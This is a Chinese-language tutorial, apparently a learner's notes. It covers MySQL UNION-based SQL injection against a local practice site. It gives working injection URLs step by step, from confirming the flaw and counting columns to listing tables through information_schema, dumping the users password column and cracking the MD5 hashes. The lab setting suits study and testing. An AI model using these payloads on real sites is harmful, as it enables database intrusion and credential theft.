联合注入
联合查询union需要让前面语句报错,数字型直接加 - ,
字符型加 - 再闭合:-1’ union语句 --+
- 测试网站
phpstudy搭建的mysql网站
http://localhost/pentest/article.php?id=1
适用于Mysql网站
- 注入步骤
1.判断是否存在注入
输入and 1=1 未报错
输入and 1=2 报错
2.获取字段的总数: order by +数字
数字从1到4时4报错,所以网站字段为3
3.进行连接查询
http://localhost/pentest/article.php?id=-1 union select 1,2,3
//从这不开始后面都需要令id=-1让其报错
返回结果为2,3 说明union select 1,2,3中2,3可以输入mysql语句,尝试在2处查询数据库名( database() )
4.对数据库查询
http://localhost/pentest/article.php?id=-1 union select 1,database(),user()
只有在mysql5.0以上版本才能使用database()查询数据库
一般union select 1,database(),3 爆出数据库便可往下执行。
用database(),user()带入2,3或者分别带入其中某个,得到数据库的名字和用户名
图为当前网站的用户名和数据库
Mysql注入时还可以输入:
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() Mysql数据库版本
@@datadir 读取数据库路径
@@basedir Mysql安装路径
@@version_compile_os 操作系统
5.对target_sys数据库的表名进行查询
语句: select table_name from information_schema.tables where table_schema = ‘target_sys’ limit 0,1
将语句加括号后代换2或3
http://localhost/pentest/article.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema = ‘target_sys’ limit 0,1),3
这里查出的是第一个表名,可以通过修改 语句后面的limit 0,1为limit 1,1或limit 2,1查看其他表名,这里以users表为例继续
6.对user表中的字段(列名)查询
语句: select column_name from information_schema.columns where table_schema = ‘target_sys’ and table_name = ‘users’ limit 0,1
同样将语句加括号后代换2或3
http://localhost/pentest/article.php?id=-1 union select 1,2,(select column_name from information_schema.columns where table_schema = ‘target_sys’ and table_name = ‘users’ limit 0,1)
更换limit 1,1找打其他的字段名分别为:id,username,password,email
查询账户密码内容
http://localhost/pentest/article.php?id=-1 union select 1,2,password from users
用MD5解密就行了,用户名同理。
对于有waf防火墙的网站期待后面的学习吧。